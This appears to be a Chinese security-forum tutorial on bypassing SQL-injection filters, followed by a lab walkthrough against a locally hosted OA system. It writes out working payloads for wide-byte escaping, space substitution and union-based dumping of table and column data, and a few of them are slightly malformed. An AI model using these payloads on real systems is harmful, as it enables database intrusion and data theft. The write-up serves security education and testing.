SQL注入绕过注入绕过绕过单(双)引号转义注入常见的转义函数使用宽字节绕过,在使用单(双)引号注入时,在其前面加入“%df”与即将产生的“%25”(/)转义符编码成为一个宽字节字符从而成…
SQL注入绕过
注入绕过
绕过单(双)引号转义注入
常见的转义函数
使用宽字节绕过,在使用单(双)引号注入时,在其前面加入“%df”与即将产生的“%25”(/)转义符编码成为一个宽字节字符从而成功吃掉转义符,释放单(双)引号成功注入。
如select from test where id=’1’
Payload: id=1%df’ order by 3#
注入语句被转义为:select from test where id=’1%df%25’ order by 3#’
这里的order by 部分即可以由我们控制从而进行爆库等操作。
过滤空格使用%0d进行绕过
如select from test where id=’1’
Payload:id=1’%0dorder%0dby%0d3#
注入语句为:select from test where id=’1’ %0dorder%0dby%0d3#
通过%0d将空格进行替换成功注入完整的sql注入语句
常用函数
(1)and 等价于 &&
(2)or 等价于 ||
(3)union select 等价于 union all select
(4)ascii()函数返回字符串的ascii值
(5)length()函数返回字符串的长度
(6)substr(x,y,z)函数,取x字符串的y到z位进行返回
获取数据库名称的方法介绍
(1) 使用database()函数直接返回数据库名
(2) Id=1’ and (select count(*) from xxx)>0 and ‘1’=’1当查询的xxx表不存在时返回的错误信息为某某数据库的xxx表不存在,既可以得到数据库的名称。
数据库系统中的特定数据库介绍
(1)mysql数据库的information_schema库介绍
其中的TABLES表保存了整个数据库系统的数据库与对应的表名,即是在该表中可以通过数据库名查询到其所有的表名
COLUMNS表保存了所有的表的所有列名,通过对应的表名查询到该表的所有列名
(2)针对MySQL5.6或更高的版本
在注入时可以使用sys默认库中的视图代替information_schema数据库的作用
查看sys库的视图
在该视图中的table_schema与table_name分别为数据库名字以及该数据库所拥有的表名
绕过常见过滤函数进行注入
工具
Phpstudy
Seay
实践过程
(1) 使用phpstudy搭建目标环境并手工测试发现注入点
通过手工测试发现在多个位置下可能存在了sql注入
报错地址1,需要登录
http://127.0.0.1:8085/manage/qingjia.php?action=list&page=1&limit=15&suserxm=&sniandu=1&smudidi=&sjiabie=
在sniandu=1后面添加单引号报错
报错地址2,不需要登录的地址:
http://127.0.0.1:8085/Api/getlist.php?action=zidian&fenlei=%E6%94%BF%E6%B2%BB%E9%9D%A2%E8%B2%8C
在分类后面添加单引号报错
(2) 在看到报错以后看到了希望,便使用sqlmap来跑一波,奈何显示存在注入却无法得到数据。
于是猜想存在过滤,使得无法获得数据
(3) 进行源码分析
通过跟踪数据包发现输入的fenlei参数直接组合成为数据库的sql语句带入fetchall()方法
跟踪fetchall方法,发现将sql语句使用prepare()方法进行处理后在返回。继续向上跟踪到prepare()方法。
找到prepare函数查看得到sqlsafe为使用checkquery过滤过的安全sql语句。继续向上查找checkquery()方法。
找到checkquery()方法,可以看到该处对输入的sql语句进行了过滤,首先进行一些简单处理。在输入的sql查询语句中检查是否存在禁用的函数,禁用的操作符,以及是否使用了注释等操作符。
其中定义的禁用的函数,禁用的操作符,以及注释符号分别为
可以看到这里禁用了绝大部分的注入所用的符号及函数操作。
过滤失误之处
对引号的过滤存在问题,使得返回报错的信息。
if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false && strpos($sql, '@') === false && strpos($sql, '`') === false) {
$cleansql = preg_replace("/'(.+?)'/s", '', $sql);
} else {
$cleansql = self::stripSafeChar($sql);
}
实操绕过进行注入
爆库名
Payload:' and (select count() from sysobjects)>0 and '1'='1
爆表名,使用union all select 绕过union select 的过滤。
Payload:' union all select 1,2,3,4,GROUP_CONCAT(table_name) from sys.schema_index_statistics where table_schema="db_oasystem" and '1'='1
判断列数,通过修改倒数第二个select的查询列数报错查看列数
Payload:' union all select 1,2,3,4,(select 1 from (select 1,2,3,4 union all select from tb_danwei)a limit 1,1) and '1'='1
获取表中的数据,通过修改GROUP_CONCAT中自定义的列名获取数据。
Payload:' union all select 1,2,3,4,GROUP_CONCAT(z) from (select 1 as 'x',2 as 'y',3 as 'z' union all select * from tb_danwei)tpl where '1'='1
总结
本次测试主要的思路为首先发现疑似注入点,在使用常规手段依然获取不到数据的情况下使用特定的一些语句进行数据的注入获取,其中利用到了mysql5.6及更高版本数据库系统下的sys库视图,使用等效函数绕过过滤,以及如何在不知道列名的情况下使用多表联合查询获取数据等。
- 本文作者: 404test
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/343
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!